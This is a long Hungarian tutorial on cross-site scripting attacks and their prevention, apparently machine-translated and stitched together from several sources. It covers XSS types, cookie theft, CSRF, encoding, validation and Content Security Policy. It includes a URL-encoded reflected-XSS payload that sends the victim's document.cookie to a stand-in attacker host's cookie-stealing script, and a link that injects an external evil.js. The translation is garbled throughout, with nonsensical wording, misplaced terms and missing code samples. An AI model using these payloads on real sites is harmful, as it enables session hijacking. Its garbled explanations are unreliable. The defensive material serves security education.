Az XSS sebezhetőségeket a maximális értékhez használja. XSS támadások: Mik azok és milyen veszélyes XSS támadási képzés

Az XSS-en keresztül a tapasztalt támadók integrálják azokat a webhelyek oldalait, amelyek a fertőzött erőforrások látogatásánál végzett szkripteken dolgoznak. Számos típusú XSS sebezhetőség van, amely eltérő veszélyt jelent.

A passzív és aktív sebezhetőség jellemzői

Leginkább óvatosan érdemes kezelni az aktív sebezhetőséget. Amikor a támadó az SQL kódot egy megfizethető adatbázisba vagy fájlba hajtja a kiszolgálónak, a fertőzött erőforrás minden látogatója áldozat lehet. Az ilyen helyek gyakran integrálódnak, ezért az adatbázisban tárolt adatfeldolgozott adatok továbbra is bizonyos veszélyt jelenthetnek.

A passzív XSS sebezhetőség létrehozása egy bizonyos leleményesség támadóját igényli. Vagy a tengeralattjáró erőforráson csábítasz mindenféle referenciával, vagy bármilyen módon próbálják továbbítani a szükséges webhelyet. Ez általában a látogatott oldal kitalált adminisztrációjából származó betűkkel történik, a fiókbeállítások ellenőrzésére vonatkozó kérésekkel. Szintén aktívan használt spam hírleveleket vagy hozzászólásokat a széles körben látogatott fórumokon.

A passzív XSS biztonsági rése mindkét hozzászólásból és a Get-paraméterekből haladhat. Az elsőre számos különböző trükköt jellemeznek, a második - az URL-vonal kódolása további értékek beillesztése.

A cookie-k elrabolása

Leggyakrabban a cookie-k, amelyek az XSS támadás célja. Néha értékes információk vannak rájuk, beleértve a felhasználói bejelentkezést és jelszavakat, vagy hash. De elég veszélyes és az aktív munkamenetek ellopása fontos helyszíneket az Ön számára, ezért ne felejtse el megnyomni a "kimenet" gombot még akkor is, ha egy otthoni számítógépen található helyek látogatása. Bár az erőforrások többsége annak megakadályozására, hogy az ilyen intézkedések az ülés időtartamának automatikus korlátozását használják. Az XMLHTTPRECRECRECEST DOMAIN korlátozásai az ilyen támadásoktól nem menthetőek.

Adatok töltött formákból

Népszerűség és olvasási információk a kitöltött formában. Ehhez az érdekek okozásával futó események futnak (Onsubmit), és az összes rendelkezésre bocsátott adat a támadó szerverekre is elküldik. Az ilyen támadások nagyrészt hasonlóak az adathalászathoz, de a lopás nem a hamisításon, hanem a jó hírnévvel rendelkező valós helyszínen.

Elosztott DDOS támadások

Az XSS-en keresztüli támadásokhoz több továbbított erőforrások használhatók. Az XSS sebezhetőségnek köszönhetően a repedt kiszolgálóra vonatkozó kérelmek továbbítása, amelynek következtében a védelme nem ellenáll.

Fake Intersight kérések (CSRF / XSRF)

Ők is vannak közösek az XSS-vel. Ez az XSS-vel együtt alkalmazott sebezhetőségek különféle változatossága. Céljuk, hogy egy meghatalmazott felhasználót egy sebezhetetlen webhelyről egy tengeralattjáró sebezhető oldalra hozza a csalárd műveletekhez. Például egy ügyfél egy elektronikus fizetési rendszert is csábította a veszélyeztetett helyszínen, hogy utaljon át pénzt a behatolók számlákat. Ezért a legtöbb fizetési rendszerben a védelem további beírt jelszót vagy a kódművelet megerősítését biztosítja.

XSS férgek bevezetése

A webhelyen egy ilyen XSS támadás megjelent a híres közösségi hálózatok (Vkontakte, Twitter és mások) fejlődésével. Ezeken keresztül a felhasználók teljes csoportjai sebezhető XSS-kapcsolatokat kapnak olyan integrált szkriptekkel, amelyek a SPAM hálózatok nevében küldtek. Szintén gyakorolva, és átmegy a személyes adatokon és fényképeken a behatolók erőforrásairól.

Példák az ártalmatlan XSS-re

Ne feledje, hogy sokféle mérőműszer is végrehajtja az aktív XSS szerepét. Átvesztésre kerülnek a látogatók nyilvántartásba vételeiről (IP-címük, az alkalmazott berendezések adatai).

Csak ez a kód önmagában integrálódik a számítógépedben. Más hasonló XSS-hez, biztonságosan tulajdoníthatja számos crossdomain Ajax lekérdezést.

Helyszíni szkriptelés vagy XSS. Cross-site scripting (metszőleges forgatókönyvek végrehajtása).

A kereszt-site scripting biztonsági rés jelenléte lehetővé teszi a támadó számára, hogy elküldje a végrehajtható kódot a kiszolgálónak, amelyet átirányít a felhasználói böngészőre. Ez a kód általában létre HTML / JavaScript, VBScript de, ActiveX, Java, Flash, vagy más technológia által támogatott böngésző lehet használni.

A továbbított kódot a sérülékeny szerver biztonsági kontextusában (vagy biztonsági zónájában) hajtják végre. Ezen kiváltságok használatával a kód képes olvasni, módosítani vagy továbbítani fontos adatokat a böngésző segítségével. A megtámadott felhasználónál a felvétel (cookie lopás) veszélyeztethető, böngészője átirányítható egy másik kiszolgálóra, vagy a kiszolgáló tartalma helyettesíthető. A gondosan tervezett támadás eredményeképpen a támadó használhatja az áldozat böngészőjét, hogy megtekinthesse a webhely oldalait a megtámadott felhasználó nevében. A kód lehet továbbítani egy támadó az URL-t, a hírek és a szerkezet a HTTP lekérdezés protokoll (Cookie, User-Agent, Refferer), az értékek a mezők, stb

Háromféle támadás van, amely a forgatókönyvek kereszteződéséhez vezet: nem tartós nem állandó (visszavert), tartós állandó (Mentett) és DOM alapú. A tartós és a nem tartós fő különbség az, hogy a visszavert verzióban a kódkiszolgáló átvitele és az ügyfelek visszatérése egy HTTP-kérésen belül történik, és a tárolt - különböző módon történik.

A nem állandó támadás végrehajtása megköveteli, hogy a felhasználó átkapcsolja a támadó által létrehozott linket (a linket e-mailben, ICQ, stb.) Visszavonhatják. A webhely letöltésének folyamatában az URL-be történő beágyazott kód, vagy a lekérdezési fejlécek átkerülnek az ügyfélre, és a böngészőben készülnek.

A sérülékenység megőrzött változása akkor következik be, amikor a kódot a kiszolgálónak továbbítják, és egy ideig továbbra is fennállnak. A legnépszerűbb támadási célpontok ebben az esetben fórumok, postai webes felület és csevegőszobák. A támadáshoz a felhasználónak nem kell átmennie a linken, elegendő meglátogatni a sérülékeny helyet.

    Példa. Mentett (tartós) támadási lehetőség. Számos webhely rendelkezik hirdetőtáblákkal és fórumokkal, amelyek lehetővé teszik a felhasználók számára, hogy üzeneteket hagyjanak. A regisztrált felhasználó jellemzően számmal azonosul

a cookie-ben mentett munkák. Ha a támadó elhagyja a JavaScript kódot tartalmazó üzenetet, akkor hozzáférést kap a felhasználói munkamenet-azonosítóhoz. Cookie kód Példa:

    Példa. Visszavert (nem tartós) támadási lehetőség. Számos kiszolgáló biztosítja a felhasználók számára a kiszolgáló tartalmának keresését. Általános szabályként a kérelmet az URL-hez továbbítják, és a keletkező oldalon található.

Például az URL-re való áttérés http: //portal.example/search? Q \u003d "Friss sör" A felhasználó megjelenik a keresési eredményeket és kifejezést tartalmazó oldalt: "0 oldal található az Ön kérésére". Ha a JavaScript a kívánt kifejezésként kerül át, akkor a felhasználó böngészőjében kerül végrehajtásra. Példa:

Http: //portal.example/search/? Q \u003d

Az URLENCODE kódolás használható a szkript kód elrejtésére

Http: //portal.example/index.php? SessionID \u003d 12312312 és felhasználónév \u003d% 3C% 73% 63% 72% 69% 70% 74% 3E% 64% 6F% 63% 75% 6D% 65% 6E% 74 % 2e% 6c% 6f% 63% 61% 74% 69% 6F% 6E% 3D% 27% 68% 74% 74% 70% 3A% 2F% 2F% 61% 74% 74% 61% 63% 6B% 65 % 72% 68% 6f% 73% 74% 2E% 65% 78% 61% 65% 78% 63% 65% 2F% 63% 67% 69% 2D% 62% 69% 6E% 2F% 63% 6F% 6F % 6b% 69% 65% 73% 74% 65% 61% 6C% 2E% 63% 67% 69% 3F% 27% 2b% 64% 62% 63% 75% 62% 63% 75% 6D% 65% 6E% 74% 2E% 63 % 6f% 6f% 6b% 69% 65% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E

Flangan David JavaScript.

Kivonat a könyvből Flangan David JavaScript teljes útmutató 5 kiadás.

A Cross-Site Scripting (kereszt "site scripting (kereszt" site scripting) vagy az XSS, a számítógépes biztonsági rési terülési területre utal, amikor a támadó html címkéket vagy szkripteket vezet be a sérülékeny weboldalon. Az XSS-támadások elleni védelem megszervezése - a WebBurdenies-i gyakori dolog A kiszolgálói forgatókönyvek létrehozásában. Az ügyfél JavaScript parancsfájljainak fejlesztése azonban az XSS támadásokról is tudnia kell, és intézkedéseket kell tennie ellenük.

A weboldalt az XSS-támadásokkal szemben sebezhetőnek tekintik, ha dinamikusan létrehoz egy dokumentum tartalmát olyan felhasználói adatok alapján, amelyek nem adták át az előzetes feldolgozást, hogy eltávolítsák a beépített HTML kódot. Triviális példaként tekintse meg a következő weboldalt, amely JavaScript parancsfájlt használ a felhasználó név szerint:

A szkript második sorában az ablak.Location.search.substring módszer nevezik, melynek része a címsávnak a szimbólummal kezdődik? Ezután a Document.Write () módszer segítségével dinamikusan generált dokumentumtartalmat adunk hozzá. Ez a parancsfájl azt sugallja, hogy a weboldal elérése megközelítőleg egy ilyen URL-címmel történik:

Http://www.example.com/greet.html?name\u003ddavid

Ebben az esetben megjelenik a "Hi David" szöveg. De mi történik, ha az oldalt a következő URL-cím használatával kéri:

Http://www.example.com/greet.html?name\u003d%3CScript%3ealert ("David")% 3c / Script% 3e.

Ilyen tartalommal az URL-cím Script dinamikusan létrehoz egy másik parancsfájlt (% 3C és% 3E kódok szögletes konzolok)! Ebben az esetben a beillesztett parancsfájl egyszerűen megjeleníti a párbeszédpanelt, amely nem jelent veszélyt. De képzelj el egy ilyen esetet:

Http: //sitea/greet.html? Név \u003d% 3CScript SRC \u003d SiteB / Evil.js% 3e% 3c / script% 3e

A kereszt-site scripting azért van, mert egynél több webhely vesz részt a támadásban. A b (vagy akár a C webhely c) oldala tartalmaz egy speciálisan tervezett linket (hasonlóan az ábrán látható) az A webhelyhez, amely egy szkriptet tartalmaz a B. Evil.js parancsfájlról a támadó B weboldalán, de most Ez a forgatókönyv kiderül, hogy az A webhelyen megvalósul, és mindent megtesz, hogy elégedett az A. webhely tartalmával. Az oldalt törölheti, vagy más megsértéseket hívhat a webhelyén (például megtagadhatja, a következő részben leírtak szerint). Hátrányosan befolyásolhatja az A. webhely látogatóit. Sokkal veszélyesebb, hogy egy ilyen rosszindulatú forgatókönyv olvashatja az A helyszínen tárolt cookie-k tartalmát (esetleg tartalmazza a számlaszámokat vagy más személyes adatokat), és ezeket az adatokat vissza kell küldenie a b . A beágyazott szkript akár nyomon követheti a billentyűleütéseket, és elküldheti ezt az adatokat a B oldalra.

Az XSS-ek megelőzésének univerzális módja, hogy eltávolítsa a HTML-címkéket a kétes eredetű összes adatból, mielőtt a dokumentum tartalmát dinamikusan hozza létre. A probléma kijavítása a korábban látható GETE.HTML fájlban, hozzá kell adnia a következő sort a szkripthez, amely a címkét körülvevő sarokblokk eltávolítására tervezték". Minden felhasználó, aki meglátogatta az oldalt, most megkapja a következő választ:


Utolsó megjegyzés:

Ha a felhasználó böngészőja betölti az oldalt, akkor mindent elvégez, beleértve a címkék belsejében található JavaScript-kódot is . Ez azt sugallja, hogy a támadó által végrehajtott szkript egyszerű jelenléte probléma, függetlenül attól, hogy melyik szkriptkódot ténylegesen végrehajtják.

Második rész: Xss-támadás

XSS támadási résztvevők

Mielőtt leírná, hogyan írja le részletesen, hogy az XSS támadás működik, meg kell határoznunk az XSS támadás témáit. Általában az XSS támadásban három résztvevő van: weboldal, áldozat, I. betörő.

  • Weboldal HTML oldalakat ad azoknak, akik kértek őket. Például a http: // weboldalon található.
    • Webhely adatbázis Ez egy adatbázis, amely tárolja a felhasználók által megadott adatokat a webhely oldalain.
  • Áldozat - Ez egy olyan weboldal rendszeres felhasználója, amely az oldalakat a böngészőjével kéri.
  • Támadó - Ez egy támadó, aki az áldozat elleni támadást kívánja elindítani az XSS sebezhetőségének használatával az oldalon.
    • Betörő szerver - Ez egy webszerver, amely egy támadó irányítása alatt áll, amely kizárólag a bizalmas áldozatinformáció lopása alatt áll. Például a http: // támadó /.

Példa forgatókönyv támadás

Ez a parancsfájl létrehoz egy HTTP kérést egy másik URL-re, amely átirányítja a felhasználó böngészőjét a támadó szerverre. Az URL tartalmazza az áldozat cookie-kat, mint lekérdezési paraméterként, amikor egy HTTP kérés érkezik a támadó szerverre, a támadó kivonhatja ezeket a cookie-kat a kérelemből. Miután a támadó megkapta a cookie-kat, használhatja őket, hogy megadja magát az áldozatot, és indítsa el a későbbi támadást.

Ettől a ponttól a fent említett HTML-kódra kerül sor rosszindulatú sztring vagy rosszindulatú szkript. Fontos megérteni, hogy a húr önmagában rosszindulatú csak akkor, ha végül feldolgozásra, mint a HTML kódot az áldozat böngészője, és ez csak akkor kerülhet sor, ha XSS sebezhetőség elérhető a honlapon.

Hogyan működik ez a példa

Az alábbiakban bemutatja a támadó támadásának példáját:

  1. A támadó a weboldal egyik formáját használja annak érdekében, hogy rosszindulatú karakterláncot helyezzen el a weboldal adatbázisba.
  2. Az áldozat kéri az oldalt a weboldalról.
  3. Az oldal egy rosszindulatú karakterláncot tartalmaz az adatbázisból válaszul, és elküldi az áldozatnak.
  4. Az áldozati böngésző rosszindulatú forgatókönyvet végez a válaszon belül, az áldozatok küldését a támadó szerverre.

XSS típusok.

Az XSS támadás célja mindig rosszindulatú JavaScript szkript végrehajtása az áldozat böngészőjében. Számos alapvetően eltérő módon lehet elérni ezt a célt. Az XSS támadások gyakran három típusra vannak osztva:

  • Tárolt (állandó) xssAhol a rosszindulatú karakterlánc a honlap adatbázisából származik.
  • Visszavert (nem állandó) xssAhol a rosszindulatú string az áldozat kérésére keletkezik.
  • XSS DOM modellekHa a kliens oldalán lévő kódban bekövetkező sérülékenység akkor fordul elő, és nem a kiszolgáló kód oldalán.

Az előző példában a tárolt XSS támadás látható. Most két másik XSS-támadást mutatunk le: visszavert XSS és XSS-támadás DOM modellek.

Visszavert XSS.

A visszavert XSS támadás esetén a rosszindulatú karakterlánc része az áldozatnak a weboldalra való kérésére. A webhely megkapja és beilleszti ezt a rosszindulatú karakterláncot a felhasználónak küldött felhasználónak. Az alábbi séma ezt a parancsfájlt szemlélteti:

  1. Az áldozat csalárdan elküldi az URL-kérelmet a weboldalra.
  2. Az oldal egy rosszindulatú karakterláncot tartalmaz az URL lekérdezéséből az áldozatra válaszul.
  3. Az áldozat böngészője rosszindulatú forgatókönyvet végez, amely a válaszban található, az áldozatoknak az intruder szerverre küldött.

Hogyan lehet sikeresen végrehajtani a visszavert XSS támadást?

A visszavert XSS támadás ártalmatlannak tűnhet, mivel az áldozatnak a nevétől kezdve egy rosszindulatú stringt tartalmazó kérelmet küld. Mivel senki sem fog önként támadni magát, úgy tűnik, hogy nincs módja a támadás tényleges végrehajtásának.

Amint kiderül, legalább két közös mód van arra, hogy az áldozatot elkezdhessük a tükröződő XSS támadás megkezdéséhez:

  • Ha a felhasználó egy adott személyiség, a támadó rosszindulatú URL-t küldhet az áldozatnak (például e-mail vagy hírnök), és megtévesztheti, hogy kényszerítse azt, hogy megnyitjon egy linket, hogy meglátogassa a webhelyet.
  • Ha a cél a felhasználók nagy csoportja, a támadó egy rosszindulatú URL-hez (például saját honlapján vagy egy közösségi hálózaton) linket közzétesz, és várja meg a látogatókat, akik a linken fognak menni.

Mindkét módszer hasonló, és mindkettő sikeresebb lehet a szolgáltatások "lerövidítése" az URL-nek, álcázza azokat a rosszindulatú karakterláncokat, akik azonosítani tudták.

XSS a DOM modellben

Az XSS a DOM modellben egy olyan lehetőség, mint egy tárolt és visszavert XSS támadás. Ebben az XSS támadásban a rosszindulatú stringet az áldozat böngészője nem dolgozza ki, amíg a weboldal valódi JavaScript végrehajtásra kerül. Az alábbi séma bemutatja ezt a szkriptet a visszavert XSS támadásokhoz:

  1. A támadó egy rosszindulatú stringet tartalmazó URL-t hoz létre, és elküldi az áldozatnak.
  2. Az áldozat csalárd, a támadó elküldi az URL-kérelmet a webhelyre.
  3. A webhely kérést kap, de nem tartalmaz egy rosszindulatú karakterláncot.
  4. Az áldozat böngészője a válaszban lévő legitim szkriptet hajt végre, amelynek eredményeképpen a káros szkript beillesztésre kerül az oldalba.
  5. Az áldozat böngészője egy rosszindulatú parancsfájlt hajt végre az oldalba, elküldve az áldozat cookie-kat az intruder szerverre.
Mi a különbség a dom modell XS-jei között?

A tárolt és visszavert XSS támadások korábbi példáiban a kiszolgáló rosszindulatú szkriptet helyez be az oldalra, amelyet az áldozatra adott válaszként küldünk. Amikor az áldozat böngészője válaszolt, azt feltételezi, hogy a rosszindulatú szkript része az oldal törvényes tartalmának, és automatikusan elvégzi az oldal betöltése során, valamint bármely más forgatókönyvet.

A DOM modell XSS-támadásainak példájában a rosszindulatú szkript nincs behelyezve az oldal részeként; Az oldal betöltése során automatikusan végrehajtott parancsfájl az oldal legitim része. A probléma az, hogy ez a legitim forgatókönyv közvetlenül használja a felhasználói bejegyzést, hogy hozzáadja a HTML-t az oldalhoz. Mivel a rosszindulatú sztring beillesztésre kerül az InnerHTML segítségével, azt a HTML-ként elemezzük, amelynek eredményeképpen a káros szkriptet végeznek.

Ez a megkülönböztetés kicsi, de nagyon fontos:

  • A hagyományos XSS-ben a rosszindulatú JavaScript akkor történik, amikor az oldal betöltődik, a kiszolgáló által küldött HTML részeként.
  • Abban az esetben, XSS a DOM modell, rosszindulatú JavaScript végezzük az oldal betöltését követően, ennek eredményeként ez az oldal a jogos JavaScript nevezzük biztonságos módon, hogy felhasználói beavatkozás (amely egy rosszindulatú string).
Hogyan működik az XSS a DOM modellben?

Az előző példában nincs szükség a Javascriptre; A szerver önmagában létrehozhatja az összes HTML-t. Ha a kiszolgáló oldalán lévő kód nem tartalmaz sérülékenységet, akkor a weboldal nem tartozik az XSS biztonsági rések hatálya alá.

Azonban, mivel a webes alkalmazások egyre fejlettebb, egyre növekvő mennyiségű HTML oldalak generált JavaScript segítségével a kliens oldalon, és nem a szerveren. Bármikor, a tartalomnak meg kell változtatnia a teljes oldal frissítése nélkül, a JavaScript használatával lehetséges. Különösen ez a helyzet, amikor az oldal frissül az AJAX lekérdezés után.

Ez azt jelenti, hogy az XSS sebezhetőségek nemcsak a webhelye kódja szerver részében jelenhetnek meg, hanem a webhelyének JavaScript-kódjának oldalán is. Következésképpen, még egy teljesen biztonságos kóddal is a szerver oldalán az ügyfélkód továbbra is biztonságosan engedélyezhető, hogy a felhasználói adatokat a DOM frissítése után az oldal letöltése után frissítse. Ha ez megtörténik, az ügyfél kódja lehetővé teszi, hogy az XSS támadás nem a kód hibája a kiszolgáló oldalán.

A DOM modellen alapuló XSS láthatatlan lehet a kiszolgálóhoz

Van egy különleges, XSS-támadások egy DOM modellben, amelyben a rosszindulatú karakterlánc soha nem kerül elküldésre a weboldal kiszolgálójához: Ez akkor történik, ha a rosszindulatú karakterlánc az URL-azonosító fragmensében található (valami a # # Symbol után). A böngészők nem küldi el az URL ezen részét a kiszolgálóhoz, így a weboldal nem fér hozzá a kiszolgáló oldalán lévő kód használatával. Az Ügyféltől származó kód azonban hozzáférést kap hozzá, és így lehetséges az XSS támadást a nem biztonságos feldolgozással.

Ez az eset nem korlátozódik a töredékazonosítóra. Van még egy másik felhasználói bemenet, amely a kiszolgálóhoz láthatatlan, például új HTML5 funkciók, például a localStorage és az IndexedDB.

Harmadik rész:
XSS-megelőzés

XSS megelőzési módszerek

Emlékezzünk vissza arról, hogy az XSS a kód telepítésének típusa támadása: A felhasználó által megadott felhasználó hibás programkódként értelmezhető. Annak érdekében, hogy megakadályozzák az ilyen típusú kód befecskendezést, biztonságos bemeneti feldolgozásra van szükség. A webfejlesztő számára két alapvetően különböző módja van a biztonságos bemeneti feldolgozás végrehajtásának:

  • Kódolás - Ez egy olyan mód, amely lehetővé teszi, hogy az adatokat csak adatokként adja meg, és nem teszi lehetővé a böngésző feldolgozását kódként.
  • Érvényesítés - Ez a módszer szűri a felhasználói bemenetet úgy, hogy a böngésző rosszindulatú parancsok nélküli kódként értelmezze.

Bár ezek alapvetően eltérő módszerek az XSS megakadályozására, több általános tulajdonságuk van, amelyek fontosak a megértés szempontjából, ha bármelyiküket használják:

Kontextus A biztonságos bemeneti feldolgozást eltérő módon kell elvégezni, attól függően, hogy hol használják a felhasználói bemenetet az oldalon. A bejövő / kimenő biztonságos bemeneti feldolgozás akkor is elvégezhető, ha a webhely bemeneti adatokat (bejövő forgalmat) kap (bejövő forgalom), vagy közvetlenül, mielőtt a webhely beilleszt egy egyéni bejutást az oldal tartalmába (kimenő). Ügyfél / kiszolgáló A biztonságos bemeneti feldolgozás az ügyféloldalon vagy a kiszolgáló oldalon végezhető el, minden egyes lehetőség különböző körülmények között szükséges.

Mielőtt elmagyarázná a kódolási és érvényesítési munkálatok részleteit, leírjuk mindegyik elemet.

Felhasználói bemenetek feldolgozása kontextusokban

Számos kontextus van egy weboldalon, ahol az egyéni bemenet alkalmazható. Különleges szabályokat kell teljesíteni mindegyikük számára, hogy a felhasználói bemenet nem tudja "kitörni" a kontextusától, és nem lehet rosszindulatú kódként értelmezni. Az alábbiakban a leggyakoribb kontextusok:

Mi a kontextusok jelentése?

Az összes ismertetett összefüggések, a biztonsági rés vezet XSS fordulhat elő, ha a felhasználó a felhasználó által megadott került beillesztésre az első kódoló vagy érvényesítése. A támadó rosszindulatú kódot vezethet be, amely egyszerűen behelyezi a záró elválasztót ebbe a kontextushoz, és miután rosszindulatú kód.

Például, ha egy bizonyos ponton a honlap tartalmaz adatbevitel a felhasználó által közvetlenül a HTML attribútum, a támadó képes lesz végre egy rosszindulatú szkript indítja az idézet bemenet az alábbiak szerint:

Ez megakadályozható, egyszerűen eltávolítani az összes idézetet a felhasználói bemeneten, és minden rendben lesz, de csak ebben az összefüggésben. Ha a bemenetet egy másik kontextusba helyezték, a záró elválasztó eltérő lesz, és az injekció lehetővé válik. Ezért a biztonságos bemeneti feldolgozást mindig úgy kell kiigazítani a kontextushoz, ahol a felhasználói bemenet beillesztésre kerül.

A bejövő / kimenő felhasználói bemenet feldolgozása

Ösztönséges, úgy tűnik, hogy az XSS megakadályozható az egész felhasználói bemenet kódolásával vagy validálásával, amint webhelyünk megkapja. Így bármilyen rosszindulatú vonalak már semlegesíteni, ha azok nem szerepelnek az oldalon, és a HTML generáció szkriptek nem kell vigyázni a biztonságos feldolgozását felhasználótól.

A probléma az, hogy a korábban leírtak szerint a felhasználó által a felhasználó által megadott lehet illeszteni különböző összefüggésekben az oldalon. És nincs egyszerű módja annak meghatározására, ha a felhasználó bemenetét keretében - ahogy az előbb-utóbb ki, és ugyanazt a felhasználói gyakran kell beilleszteni a különféle helyzetekben. A bejövő bemenet feldolgozására támaszkodva az XSS megelőzéséhez nagyon törékeny megoldást hozunk létre, amely hibáknak van kitéve. (Elavult "Magic Quotes" PHP példa egy ilyen megoldásra.)

Ehelyett a kimenő bemenet feldolgozása az XSS fő védelmi vonalának kell lennie, mivel figyelembe veheti a specifikus kontextust, amelyet a felhasználó által megadott felhasználók beillesztenek. Bizonyos mértékig a bejövő validálás használható másodlagos védőréteg hozzáadására, de később.

Ahol biztonságos felhasználói bemeneti feldolgozást végezhet

A legtöbb modern webes alkalmazásban a felhasználói bejegyzést mind a szerverkód oldalán, mind az ügyfélkód oldalon feldolgozzák. Annak érdekében, hogy védelmet minden típusú XSS, biztonságos bevitel feldolgozó végre kell hajtani mind a kód a szerver oldalon és a kliens kódot oldalon.

  • A hagyományos XSS elleni védelem érdekében a Secure bemeneti feldolgozást a kiszolgáló oldalon lévő kódban kell elvégezni. Ez a kiszolgáló által támogatott nyelvvel történik.
  • Annak érdekében, hogy megvédje az XSS támadást a DOM modellben, ahol a szerver nem kap rosszindulatú string (például a korábban leírt támadás keresztül az azonosító fragmentum), biztonságos bemenet feldolgozása során kell végezni a kódot a kliens oldalon. Ez a JavaScript segítségével történik.

Most, amikor elmagyaráztuk, hogy miért fontos a kontextus, miért fontos a bejövő és a kimenő bemeneti feldolgozás közötti különbség, és miért kell mindkét oldalon, és az ügyfél oldalán és a szerver oldalon, továbbra is megmagyarázhatjuk A biztonságos bemeneti feldolgozás (kódolás és az érvényesítés) kétféle típusát ténylegesen hajtják végre.

Kódolás

A kódolás a helyzet kimenetele, ha szükséges, hogy a felhasználói belépő böngésző csak adatokként értelmezze, és ne kódoljon. A webfejlesztésben lévő kódolás legnépszerűbb típusa a maszkoló html, amely olyan karaktereket alakít ki, mint például < és > ban ben < és > illetőleg.

A következő pszeudokód példa arra, hogy a felhasználó által megadott felhasználó (egyéni enter) kódolható HTML maszkolással, majd beilleszthető az oldalra a kiszolgáló forgatókönyvével:

nyomtatás " "
Nyomtatás "Utolsó megjegyzés:"
Nyomtatás encodehtml (UserInput)
Nyomtatás ""

Ha a felhasználó a következő sorba lép A kapott HTML így fog kinézni:


Utolsó megjegyzés:

Mivel minden speciális értékű szimbólumot álcázottak, a böngésző nem szétszereli a felhasználói bemenet bármely részét HTML-ként.

Kódolási kód az ügyféloldalon és a szerveren

Amikor kódoló kód kódolás a kliens, a JavaScript nyelvet is használnak, amely beépített funkciókat kódoló adatokat különféle helyzetekben.

A kódolás kódolásának végrehajtásakor a kiszolgáló oldalán a nyelven vagy a keretben elérhető funkciókra támaszkodik. A nyelvek és a rendelkezésre álló keretek miatt ez a bemutató nem terjed ki a kódolási részletekre bármely adott szerveren vagy keretben. Mindazonáltal az ügyféloldalon használt JavaScript-kódolási funkciókat is használják a kiszolgáló oldalán lévő kód írásakor.

Kódolás az ügyfél oldalán

Amikor kódoló egyedi kliens bemeneti JavaScript, több beépített módszerek és tulajdonságok, amelyek automatikusan kódolják az összes adatot a kontextus-függő stílus:

Az utolsó összefüggésben már említettük (az értékek JavaScript) nem szerepel a listán, mert a JavaScript nem biztosít beépített adat kódoló eljárást, amely engedélyezve lesz a JavaScript forráskódot.

Kódolási korlátozások

Még akkor is, ha kódolva lehet, hogy rosszindulatú vonalakat használhat bizonyos kontextusokban. Ennek fényes példája az, amikor a felhasználói bejegyzést az URL biztosítására használják, például az alábbi példában:

document.QuerySelector ("A"). Href \u003d UserInput

Bár a megadott érték a HREF elem tulajdonság automatikusan kódolja úgy, hogy ez lesz nem több, mint az attribútum értékét, ez önmagában nem zavarja a támadó betét URL kezdődő „JavaScript”. Ha rákattint a linkre, függetlenül attól, hogy az építés, a beépített JavaScript az URL-ben belül lesz végrehajtva.

A kódolás nem is hatékony megoldás, ha azt szeretné, ha a felhasználók a HTML-kódok részét használják az oldalon. Példa a felhasználó profiloldala, ahol a felhasználó használhatja a HTML-t. Ha ez a szokásos HTML kódolva van, akkor a profiloldal csak egyszerű szövegből állhat.

Ilyen helyzetekben a kódolást ki kell egészíteni a validálással, amellyel tovább fogunk tudni.

Érvényesítés

Az érvényesítés a felhasználói bemenet szűrése, hogy minden rosszindulatú rész eltávolítható legyen anélkül, hogy eltávolítaná a teljes kódot. Az egyik leggyakrabban használt ellenőrzés a webfejlesztésben lehetővé teszi néhány HTML elem használatát (például, és ) De mások (például,

A megfelelő konkrét CSP politika, a böngésző nem tudja letölteni és futtatni rosszindulatú-script.js mert http: // támadó / nincs adat, mint egy megbízható forrásból. Annak ellenére, hogy a webhely nem tudta biztonságosan feldolgozni a felhasználói bejegyzést ebben az esetben, a CSP-politika megakadályozta a sebezhetőséget és kárt okozott.

Még ha a támadó injektált kód belsejében a forgatókönyvet kódot, és nem az, hogy a külső fájlt, a megfelelően konfigurált CSP politika is letiltja a injektálással JavaScript kódot megelőzésére sebezhetőségét és okoz kárt.

Hogyan engedélyezheti a CSP-t?

Alapértelmezés szerint a böngészők nem használnak CSP-t. Annak érdekében, hogy az SCP-t az Ön webhelyén, az oldalaknak további HTTP fejlécet kell tartalmazniuk: tartalom-security-politika. A címet tartalmazó bármely oldal biztonsági házirendeket alkalmaz, miközben böngésző indítása, feltéve, hogy a böngésző támogatja a CSP-t.

Mivel a biztonsági házirendet minden HTTP válaszával elküldik, az egyes oldalakon egyedileg egyedileg telepíthet egy házirendet a kiszolgálóra. Ugyanez a politika alkalmazható a teljes weboldalra, ugyanazt a CSP fejlécet beillesztve minden válaszban.

A tartalom a Content-Security-politika fejléce karaktersorozatot egy vagy több biztonsági politika, hogy működni fog a webhelyen. A karakterlánc szintaxisát az alábbiakban ismertetjük.

Példák a fejlécekről Ez a szakasz a sorok és a francia bekezdések átruházását használja az észlelés egyszerűségére; Nem szabad jelen lenni a jelenlegi fejlécben.

CSP szintaxis

A CSP fejléc szintaxis így néz ki:

Tartalombiztonsági politika:
irányelv forrás-kifejezés., forrás-kifejezés., ...;
irányelv ...;
...

Ez a szintaxis két elemből áll:

  • Irányelvek (irányelvek) A megadott listából származó erőforrás típusát jelző sorok.
  • Forrás kifejezések Ez egy olyan modell, amely egy vagy több kiszolgálót leír, ahol az erőforrások letölthetők.

Minden utasítást, a szükséges adatokat a forrás kifejezést melyik források használhatók betölteni a források a megfelelő típust.

Irányelv

A CSP fejlécben a következő irányelvek használhatók:

  • connect-src.
  • font-src.
  • frame-src.
  • iMG-SRC.
  • media-Src.
  • object-src.
  • script-src.
  • sTYLE-SRC.

Ezenkívül a különleges irányelv alapértelmezett-SRC használható arra, hogy biztosítsák a címben nem szereplő összes irányelv alapértelmezett értékét.

A forrás kifejezése

A forrás kifejeződésének létrehozásához a szintaxis a következő:

protokoll: // Host neve: portszám

A gazdagép neve * kezdődik *, ez azt jelenti, hogy a megadott gazdanevének bármely aldomainje megoldódott. Hasonlóképpen, a portszám * ábrázolható *, ez azt jelenti, hogy minden port megoldódott. Ezenkívül a protokoll és a portszám hiányozhat. Ha a protokoll nincs megadva, a házirend megköveteli a HTTPS használatával betöltendő összes forrásokat.

A fenti szintaxis mellett a forrás expresszió négy speciális értékű kulcsszó egyike (idézőjelek) alternatívaként:

"Nincs" tiltja az erőforrásokat. Az "Én" lehetővé teszi a fogadó erőforrásait, amelyeken a weboldal található. A "nem biztonságos inline" lehetővé teszi az oldalon található források beépített